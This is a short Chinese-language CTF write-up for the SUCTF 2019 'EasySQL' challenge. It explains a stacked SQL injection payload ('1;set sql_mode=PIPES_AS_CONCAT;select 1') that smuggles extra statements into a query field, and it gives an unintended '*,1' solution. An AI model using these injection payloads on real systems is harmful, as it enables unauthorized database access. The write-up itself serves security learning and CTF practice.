[SUCTF 2019]EasySQL
一打开就是一个注入页面
尝试了一下常规的注入,都不能很好的注入。
那就尝试一下使用堆叠注入,
关键的查询代码是 select $post[‘query’]||flag from Flag
官方给的 payload 是
1;set sql_mode=PIPES_AS_CONCAT;select 1
拼接一下就是
select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
关于 sql_mode : 它定义了 MySQL 应支持的 SQL 语法,以及应该在数据上执行何种确认检查.
PIPES_AS_CONCAT 将 || 视为字符串的连接操作符而非 “或” 运算符
关于 sql_mode 更多可以查看这个链接 : MySQL sql_mode 说明
还有就是这个模式下进行查询的时候,使用字母连接会报错,使用数字连接才会查询出数据,因为这个 || 相当于是将 select 1 和 select flag from flag 的结果拼接在一起.
关于非预期解 : *,1
拼接一下,不难理解 : select *,1||flag from Flag
等同于 select *,1 from Flag